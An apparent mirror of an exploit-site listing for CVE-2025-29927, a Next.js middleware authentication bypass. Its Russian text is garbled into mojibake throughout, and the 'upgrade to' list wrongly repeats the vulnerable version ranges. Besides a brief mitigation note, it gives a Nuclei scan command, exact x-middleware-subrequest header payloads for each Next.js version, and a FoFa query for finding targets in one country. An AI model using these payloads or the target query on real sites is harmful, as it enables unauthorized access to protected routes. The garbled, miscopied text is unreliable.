## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KH4SH3I-CVE-2025-29927
#

    
# CVE-2025-29927
CVE-2025-29927: ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΎΠ±Ρ
ΠΎΠ΄Π° middleware Π² Next.js ΠΡΠΎΡ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΉ Π΄Π΅ΠΌΠΎΠ½ΡΡΡΠΈΡΡΠ΅Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ CVE-2025-29927 Π² Next.js, Π³Π΄Π΅ Π²Π½ΡΡΡΠ΅Π½Π½ΠΈΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ x-middleware-subrequest ΠΌΠΎΠΆΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ Π΄Π»Ρ ΠΎΠ±Ρ
ΠΎΠ΄Π° ΠΏΡΠΎΠ²Π΅ΡΠΎΠΊ middleware, ΡΠ°ΠΊΠΈΡ
ΠΊΠ°ΠΊ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ.

## ΠΠ°ΡΡΠΎΠ½ΡΡΡΠ΅ Π²Π΅ΡΡΠΈΠΈ
root@kitploit:~
Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9
## Π‘ΠΌΡΠ³ΡΠ΅Π½ΠΈΠ΅ ΠΈ ΡΡΡΡΠ°Π½Π΅Π½ΠΈΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ
* ΠΠ±Π½ΠΎΠ²ΠΈΡΠ΅ Next.js Π΄ΠΎ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½Π½ΡΡ
Π²Π΅ΡΡΠΈΠΉ:
root@kitploit:~
Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9
* ΠΡΠ»ΠΈ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π·Π°Π±Π»ΠΎΠΊΠΈΡΡΠΉΡΠ΅ ΠΈΠ»ΠΈ ΡΠ΄Π°Π»ΠΈΡΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ x-middleware-subrequest Π½Π° ΡΡΠΎΠ²Π½Π΅ Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅ΡΠ° ΠΈΠ»ΠΈ ΠΏΡΠΎΠΊΡΠΈ:
## Π‘ΡΠ΅Π½Π°ΡΠΈΠΈ Π²ΠΎΠ·Π΄Π΅ΠΉΡΡΠ²ΠΈΡ
* ΠΠ±Ρ
ΠΎΠ΄ Π°Π²ΡΠΎΡΠΈΠ·Π°ΡΠΈΠΈ: Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡΡ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π΄ΠΎΡΡΡΠΏ ΠΊ Π·Π°ΡΠΈΡΡΠ½Π½ΡΠΌ ΠΌΠ°ΡΡΡΡΡΠ°ΠΌ Π±Π΅Π· Π½Π°Π΄Π»Π΅ΠΆΠ°ΡΠ΅ΠΉ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ ΠΈΠ»ΠΈ Π°Π²ΡΠΎΡΠΈΠ·Π°ΡΠΈΠΈ.
* ΠΠ±Ρ
ΠΎΠ΄ Content Security Policy (CSP): Π΅ΡΠ»ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ CSP Π΄ΠΎΠ±Π°Π²Π»ΡΡΡΡΡ ΡΠ΅ΡΠ΅Π· middleware, Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡΡ ΠΎΠ±ΠΎΠΉΡΠΈ ΡΡΠΈ ΡΡΠ΅Π΄ΡΡΠ²Π° ΠΊΠΎΠ½ΡΡΠΎΠ»Ρ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ, ΡΡΠΎ ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»ΡΠ½ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΏΡΠΎΠ²ΠΎΠ΄ΠΈΡΡ Π°ΡΠ°ΠΊΠΈ Ρ ΠΌΠ΅ΠΆΡΠ°ΠΉΡΠΎΠ²ΡΠΌ ΡΠΊΡΠΈΠΏΡΠΈΠ½Π³ΠΎΠΌ (XSS).
* ΠΡΠΊΠ°Π· Π² ΠΎΠ±ΡΠ»ΡΠΆΠΈΠ²Π°Π½ΠΈΠΈ ΡΠ΅ΡΠ΅Π· ΠΎΡΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ ΠΊΡΡΠ°: Π² ΠΎΠΏΡΠ΅Π΄Π΅Π»ΡΠ½Π½ΡΡ
ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΡ
Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡΡ ΠΎΡΡΠ°Π²ΠΈΡΡ ΠΊΡΡ Π½Π΅ΡΠ°Π½ΠΊΡΠΈΠΎΠ½ΠΈΡΠΎΠ²Π°Π½Π½ΡΠΌ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΡΠΌ, ΠΎΠ±Ρ
ΠΎΠ΄Ρ middleware, ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°ΡΡΠΈΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΊΡΡΠ΅ΠΌ.
## ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΠ°Π±Π»ΠΎΠ½Π° Nuclei nextjs-CVE-2025-29927
root@kitploit:~
nuclei -u https://example.com -t ./CVE-2025-29927.yaml -fr
## ΠΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΡ Π² ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ
Π²Π΅ΡΡΠΈΡΡ
Next.js
* ΠΠ»Ρ Π²Π΅ΡΡΠΈΠΉ Π΄ΠΎ 12.2:
root@kitploit:~
x-middleware-subrequest: pages/_middleware
x-middleware-subrequest: pages/dashboard/_middleware
x-middleware-subrequest: pages/dashboard/panel/_middleware
* ΠΠ»Ρ Π²Π΅ΡΡΠΈΠΉ 12.2 ΠΈ Π½ΠΎΠ²Π΅Π΅:
root@kitploit:~
x-middleware-subrequest: middleware
x-middleware-subrequest: src/middleware
* ΠΠ»Ρ Π²Π΅ΡΡΠΈΠΉ 13.2.0 ΠΈ Π½ΠΎΠ²Π΅Π΅:
root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
## ΠΠΎΠΈΡΠΊ ΡΠ΅Π»Π΅ΠΉ Ρ ΠΏΠΎΠΌΠΎΡΡΡ FoFa
root@kitploit:~
header="x-middleware-rewrite" && country="IR"
### Π±Π΅ΡΠΏΠ»Π°ΡΠ½ΡΠΉ CTF Π΄Π»Ρ ΡΡΠΎΠ³ΠΎ
* CTF